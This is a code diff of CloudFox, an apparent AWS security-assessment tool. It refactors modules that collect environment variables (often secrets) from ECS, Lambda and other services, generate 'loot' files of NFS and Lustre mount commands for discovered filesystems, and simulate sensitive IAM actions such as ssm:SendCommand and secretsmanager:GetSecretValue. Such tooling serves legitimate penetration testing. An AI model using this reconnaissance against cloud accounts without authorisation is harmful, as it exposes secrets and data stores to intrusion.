// Create a channel to signal to stop
receiverDone := make(chan bool)
// Create a channel to signal to stop
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
@@ -101,10 +105,11 @@ func (m *EnvsModule) PrintEnvs(outputFormat string, outputDirectory string, verb
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
@@ -135,14 +140,40 @@ func (m *EnvsModule) PrintEnvs(outputFormat string, outputDirectory string, verb
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
fmt.Printf("[%s] %s environment variables found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
fmt.Printf("[%s][%s] %s environment variables found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No environment variables found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No environment variables found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func EnvVarsContains(element EnvironmentVariable, array []EnvironmentVariable) bool {
for _, v := range array {
if v == element {
return true
}
}
return false
}
func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone chan bool) {
@@ -150,7 +181,9 @@ func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone ch
for {
select {
case data := <-receiver:
m.EnvironmentVariables = append(m.EnvironmentVariables, data)
if !EnvVarsContains(data, m.EnvironmentVariables) {
m.EnvironmentVariables = append(m.EnvironmentVariables, data)
}
case <-receiverDone:
receiverDone <- true
return
@@ -160,26 +193,50 @@ func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone ch
func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, _ := servicemap.IsServiceInRegion("ecs", r)
if res {
m.CommandCounter.Total++
wg.Add(1)
go m.getECSEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
m.CommandCounter.Total++
wg.Add(1)
go m.getECSEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
wg.Add(1)
go m.getLambdaEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
res, err := servicemap.IsServiceInRegion("lambda", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
go m.getLambdaEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
// AppRunner is not supported in the aws service region catalog so we have to run it in all regions
m.CommandCounter.Total++
wg.Add(1)
go m.getAppRunnerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
wg.Add(1)
go m.getLightsailEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
res, err = servicemap.IsServiceInRegion("lightsail", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
go m.getLightsailEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
m.CommandCounter.Total++
wg.Add(1)
go m.getSagemakerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
res, err = servicemap.IsServiceInRegion("sagemaker", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
go m.getSagemakerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
}
@@ -198,13 +255,41 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
//var PaginationMarker *string
// This new approach takes one active task from each task family and grabs the container envs from that. Ran into a case where every version
// of a task was listed as active and it brought cloudfox to a halt for a really long time.
for _, familyName := range m.getTaskDefinitionFamilies(region) {
DescribeTaskDefinition, err := m.ECSClient.DescribeTaskDefinition(
context.TODO(),
&ecs.DescribeTaskDefinitionInput{
TaskDefinition: &familyName,
},
func(o *ecs.Options) {
o.Region = region
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, containerDefinition := range DescribeTaskDefinition.TaskDefinition.ContainerDefinitions {
m.getECSEnvironmentVariablesPerDefinition(containerDefinition, region, dataReceiver)
}
}
}
func (m *EnvsModule) getTaskDefinitionFamilies(region string) []string {
var allFamilyNames []string
var PaginationMarker *string
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
for {
ListTaskDefinitions, err := m.ECSClient.ListTaskDefinitions(
ListTaskDefinitionFamilies, err := m.ECSClient.ListTaskDefinitionFamilies(
context.TODO(),
&ecs.ListTaskDefinitionsInput{
&ecs.ListTaskDefinitionFamiliesInput{
NextToken: PaginationMarker,
},
func(o *ecs.Options) {
@@ -217,32 +302,17 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
break
}
for _, taskDefinitionArn := range ListTaskDefinitions.TaskDefinitionArns {
DescribeTaskDefinition, err := m.ECSClient.DescribeTaskDefinition(
context.TODO(),
&ecs.DescribeTaskDefinitionInput{
TaskDefinition: &taskDefinitionArn,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, containerDefinition := range DescribeTaskDefinition.TaskDefinition.ContainerDefinitions {
m.getECSEnvironmentVariablesPerDefinition(containerDefinition, region, dataReceiver)
}
allFamilyNames = append(allFamilyNames, ListTaskDefinitionFamilies.Families...)
}
// Pagination control. After the last page of output, the for loop exits.
if ListTaskDefinitions.NextToken != nil {
PaginationMarker = ListTaskDefinitions.NextToken
if ListTaskDefinitionFamilies.NextToken != nil {
PaginationMarker = ListTaskDefinitionFamilies.NextToken
} else {
PaginationMarker = nil
break
}
}
return allFamilyNames
}
func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(containerDefinition ecsTypes.ContainerDefinition, region string, dataReceiver chan EnvironmentVariable) {
@@ -274,38 +344,18 @@ func (m *EnvsModule) getLambdaEnvironmentVariablesPerRegion(region string, wg *s
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
for {
functions, err := m.LambdaClient.ListFunctions(
context.TODO(),
&lambda.ListFunctionsInput{
Marker: PaginationMarker,
},
func(o *lambda.Options) {
o.Region = region
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, function := range functions.Functions {
m.getLambdaEnvironmentVariablesPerFunction(function, region, dataReceiver)
}
// Pagination control. After the last page of output, the for loop exits.
if functions.NextMarker != nil {
PaginationMarker = functions.NextMarker
} else {
PaginationMarker = nil
break
}
Functions, err := sdk.CachedLambdaListFunctions(m.LambdaClient, aws.ToString(m.Caller.Account), region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, function := range Functions {
m.getLambdaEnvironmentVariablesPerFunction(function, region, dataReceiver)
}
}
func (m *EnvsModule) getLambdaEnvironmentVariablesPerFunction(function lambdaTypes.FunctionConfiguration, region string, dataReceiver chan EnvironmentVariable) {
@@ -336,69 +386,51 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
for {
ListServices, err := m.AppRunnerClient.ListServices(
context.TODO(),
&(apprunner.ListServicesInput{
NextToken: PaginationControl,
}),
func(o *apprunner.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
if len(ListServices.ServiceSummaryList) > 0 {
ServiceSummaryList, err := sdk.CachedAppRunnerListServices(m.AppRunnerClient, aws.ToString(m.Caller.Account), r)
for _, service := range ListServices.ServiceSummaryList {
name := aws.ToString(service.ServiceName)
arn := aws.ToString(service.ServiceArn)
awsService := "App Runner"
if err != nil {
//modLog.Error(err.Error())
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
if len(ServiceSummaryList) > 0 {
DescribeService, err := m.AppRunnerClient.DescribeService(
context.TODO(),
&apprunner.DescribeServiceInput{
ServiceArn: &arn,
},
func(o *apprunner.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
for _, service := range ServiceSummaryList {
name := aws.ToString(service.ServiceName)
arn := aws.ToString(service.ServiceArn)
awsService := "App Runner"
}
if len(DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables) > 0 {
for k, v := range DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables {
//fmt.Printf("%s - %s", k, v)
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
}
}
DescribeService, err := m.AppRunnerClient.DescribeService(
context.TODO(),
&apprunner.DescribeServiceInput{
ServiceArn: &arn,
},
func(o *apprunner.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
}
// The "NextToken" value is nil when there's no more data to return.
if ListServices.NextToken != nil {
PaginationControl = ListServices.NextToken
} else {
PaginationControl = nil
break
if len(DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables) > 0 {
for k, v := range DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables {
//fmt.Printf("%s - %s", k, v)
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
}
}
}
}
}
@@ -419,13 +451,7 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
m.CommandCounter.Executing++
awsService := "Lightsail [Container]"
GetContainerServices, err := m.LightsailClient.GetContainerServices(
context.TODO(),
&(lightsail.GetContainerServicesInput{}),
func(o *lightsail.Options) {
o.Region = r
},
)
ContainerServices, err := sdk.CachedLightsailGetContainerServices(m.LightsailClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
@@ -435,9 +461,9 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
if err == nil {
if len(GetContainerServices.ContainerServices) > 0 {
if len(ContainerServices) > 0 {
for _, containerService := range GetContainerServices.ContainerServices {
for _, containerService := range ContainerServices {
for _, container := range containerService.CurrentDeployment.Containers {
for k, v := range container.Environment {
name := aws.ToString(containerService.ContainerServiceName)
@@ -696,7 +722,10 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
m.CommandCounter.Error++
break
}
if err == nil {
// find the number of environment variables in the model in a pointer safe way
if DescribeModel.PrimaryContainer != nil {
if len(DescribeModel.PrimaryContainer.Environment) > 0 {
name := fmt.Sprintf("[Model] %s", aws.ToString(DescribeModel.ModelName))
+130 -103
View File
@@ -9,19 +9,18 @@ import (
"strconv"
"sync"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/efs"
"github.com/aws/aws-sdk-go-v2/service/efs/types"
"github.com/aws/aws-sdk-go-v2/service/fsx"
fsxTypes "github.com/aws/aws-sdk-go-v2/service/fsx/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/fatih/color"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
var green = color.New(color.FgGreen).SprintFunc()
type FilesystemsModule struct {
// General configuration data
@@ -33,14 +32,15 @@ type FilesystemsModule struct {
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
Filesystems []FilesystemObject
Regions [30]FilesystemObject
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -52,6 +52,7 @@ type FilesystemObject struct {
IP string
Policy string
MountTarget string
Permissions string
}
func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirectory string, verbosity int) {
@@ -59,19 +60,15 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "filesystems"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
}
//populate region in the filesystems module struct
for i, region := range m.AWSRegions {
m.Regions[i].Region = region
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Enumerating filesystems for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s] Supported Services: EFS, FSx \n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] Enumerating filesystems for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: EFS, FSx \n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
@@ -79,26 +76,29 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan FilesystemObject)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
//execute regional checks
for _, region := range m.AWSRegions {
wg.Add(1)
m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
@@ -114,6 +114,7 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
//"IP",
"Mount Target",
"Policy",
"Permissions",
}
// Table rows
@@ -128,25 +129,44 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
//m.Filesystems[i].IP,
m.Filesystems[i].MountTarget,
m.Filesystems[i].Policy,
m.Filesystems[i].Permissions,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
m.writeLoot(m.output.FilePath, verbosity)
fmt.Printf("[%s] %s filesystems found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s filesystems found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No filesystems found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No filesystems found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *FilesystemsModule) Receiver(receiver chan FilesystemObject, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
@@ -161,8 +181,18 @@ func (m *FilesystemsModule) Receiver(receiver chan FilesystemObject, receiverDon
func (m *FilesystemsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
defer wg.Done()
wg.Add(1)
go m.getEFSSharesPerRegion(r, wg, semaphore, dataReceiver)
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("efs", r)
if err != nil {
m.modLog.Error(err)
}
if res {
wg.Add(1)
go m.getEFSSharesPerRegion(r, wg, semaphore, dataReceiver)
}
//each fsx type has different supported regions so easier to just run this function against all enabled regions.
wg.Add(1)
go m.getFSxSharesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -171,7 +201,8 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
}
f := filepath.Join(path, "filesystems-mount-commands.txt")
@@ -182,8 +213,8 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
switch m.Filesystems[i].AWSService {
case "EFS":
out = out + fmt.Sprintf("########## Mount instructions for %s - %s ##########\n", m.Filesystems[i].AWSService, m.Filesystems[i].Name)
out = out + fmt.Sprintf("mkdir -p /efs/%s/\n", m.Filesystems[i].MountTarget)
out = out + fmt.Sprintf("sudo mount -t nfs -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport %s:/ /efs/%s\n\n", m.Filesystems[i].DnsName, m.Filesystems[i].MountTarget)
out = out + fmt.Sprintf("mkdir -p /efs%s/\n", m.Filesystems[i].MountTarget)
out = out + fmt.Sprintf("sudo mount -t nfs -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport %s:/ /efs%s\n\n", m.Filesystems[i].DnsName, m.Filesystems[i].MountTarget)
case "FSx [LUSTRE]":
out = out + fmt.Sprintf("########## Mount instructions for %s - %s ##########\n", m.Filesystems[i].AWSService, m.Filesystems[i].Name)
out = out + fmt.Sprintln("#sudo amazon-linux-extras install -y lustre2.10")
@@ -208,15 +239,16 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(f, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), f)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("Use the commands below to try and mount the identified filesystems."))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to try and mount the identified filesystems."))
fmt.Print(out)
fmt.Printf("[%s] %s \n\n", cyan(m.output.CallingModule), green("End of loot file."))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
}
@@ -231,94 +263,75 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
var PaginationMarker2 *string
var policy string
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
for {
DescribeFileSystems, err := m.EFSClient.DescribeFileSystems(
DescribeFileSystems, err := sdk.CachedDescribeFileSystems(m.EFSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, filesystem := range DescribeFileSystems {
name := filesystem.Name
id := aws.ToString(filesystem.FileSystemId)
_, err := m.EFSClient.DescribeFileSystemPolicy(
context.TODO(),
&efs.DescribeFileSystemsInput{
Marker: PaginationMarker,
&efs.DescribeFileSystemPolicyInput{
FileSystemId: filesystem.FileSystemId,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
policy = "Default (No IAM auth)"
} else {
policy = "IAM Authenticated"
}
DescribeMountTargets, err := sdk.CachedDescribeMountTargets(m.EFSClient, aws.ToString(m.Caller.Account), r, id)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, filesystem := range DescribeFileSystems.FileSystems {
name := filesystem.Name
id := filesystem.FileSystemId
//dnsName := fmt.Sprintf("%s.efs.%s.amazonaws.com", *id, r)
for _, mountTarget := range DescribeMountTargets {
ip := *mountTarget.IpAddress
mountTarget := aws.ToString(mountTarget.MountTargetId)
awsService := "EFS"
_, err := m.EFSClient.DescribeFileSystemPolicy(
context.TODO(),
&efs.DescribeFileSystemPolicyInput{
FileSystemId: id,
},
func(o *efs.Options) {
o.Region = r
},
)
accessPoints, err := sdk.CachedDescribeAccessPoints(m.EFSClient, aws.ToString(m.Caller.Account), r, id)
if err != nil {
policy = "Default (No IAM auth)"
}
sharedLogger.Error(err.Error())
for {
DescribeMountTargets, err := m.EFSClient.DescribeMountTargets(
context.TODO(),
&efs.DescribeMountTargetsInput{
FileSystemId: id,
Marker: PaginationMarker2,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, mountTarget := range DescribeMountTargets.MountTargets {
mountTargetId := mountTarget.MountTargetId
ip := *mountTarget.IpAddress
awsService := "EFS"
dataReceiver <- FilesystemObject{
AWSService: awsService,
Region: r,
Name: aws.ToString(name),
DnsName: ip,
Policy: policy,
MountTarget: aws.ToString(mountTargetId),
}
}
if DescribeMountTargets.NextMarker != nil {
PaginationMarker2 = DescribeMountTargets.NextMarker
} else {
PaginationMarker2 = nil
break
m.CommandCounter.Error++
dataReceiver <- FilesystemObject{
AWSService: awsService,
Region: r,
Name: aws.ToString(name),
DnsName: ip,
Policy: policy,
MountTarget: mountTarget,
Permissions: "access denied",
}
}
//awsService := fmt.Sprintf("EFS [%s]", fsType)
for _, accessPoint := range accessPoints {
path, permissions := m.getEFSfilesystemPermissions(accessPoint)
dataReceiver <- FilesystemObject{
AWSService: awsService,
Region: r,
Name: aws.ToString(name),
DnsName: ip,
Policy: policy,
MountTarget: path,
Permissions: permissions,
}
}
// Pagination control. After the last page of output, the for loop exits.
if DescribeFileSystems.NextMarker != nil {
PaginationMarker = DescribeFileSystems.NextMarker
} else {
PaginationMarker = nil
break
}
}
}
@@ -353,7 +366,8 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
},
)
if err != nil {
m.modLog.Error(err.Error())
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
break
}
@@ -405,7 +419,7 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
context.TODO(),
&fsx.DescribeVolumesInput{
Filters: []fsxTypes.VolumeFilter{
fsxTypes.VolumeFilter{
{
Name: "file-system-id",
Values: []string{id},
}},
@@ -468,3 +482,16 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
}
}
func (m *FilesystemsModule) getEFSfilesystemPermissions(accessPoint types.AccessPointDescription) (string, string) {
var path string
var permissions string
if accessPoint.AccessPointId != nil && accessPoint.RootDirectory != nil && accessPoint.RootDirectory.CreationInfo != nil {
path = aws.ToString(accessPoint.RootDirectory.Path)
permissions = aws.ToString(accessPoint.RootDirectory.CreationInfo.Permissions)
return path, permissions
}
return "", ""
}
+126 -149
View File
@@ -10,8 +10,8 @@ import (
"sync"
"time"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/sts"
@@ -20,19 +20,19 @@ import (
type IamSimulatorModule struct {
// General configuration data
IAMClient *iam.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
SimulatorResults []SimulatorResult
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -51,74 +51,69 @@ var (
"ssm:GetParameter",
"s3:ListBucket",
"s3:GetObject",
"ssm:sSendCommand",
"ssm:SendCommand",
"ssm:StartSession",
"ecr:BatchGetImage",
"ecr:GetAuthorizationToken",
"eks:UpdateClusterConfig",
"lambda:ListFunctions",
"ecs:DescribeTaskDefinition",
"apprunner:DescribeService",
"ec2:DescribeInstanceAttributeInput",
"sns:Subscribe",
"sqs:SendMessage",
}
adminActionNames = []string{
"iam:PutUserPolicy",
"iam:AttachUserPolicy",
"iam:PutRolePolicy",
"iam:AttachRolePolicy",
"secretsmanager:GetSecretValue",
"ssm:GetDocument",
}
TxtLogger = internal.TxtLogger()
)
func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string, resource string, outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "iam-simulator"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
var actionList []string
var pmapperCommands []string
var pmapperOutFileName string
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
wg := new(sync.WaitGroup)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan SimulatorResult)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
// This double if/else section is here to handle the cases where --principal or --action (or both) are specified.
if principal != "" {
if action != "" {
// The user specified a specific --principal and a specific --action
fmt.Printf("[%s] Checking to see if %s can do %s.\n", cyan(m.output.CallingModule), principal, action)
fmt.Printf("[%s][%s] Checking to see if %s can do %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), principal, action)
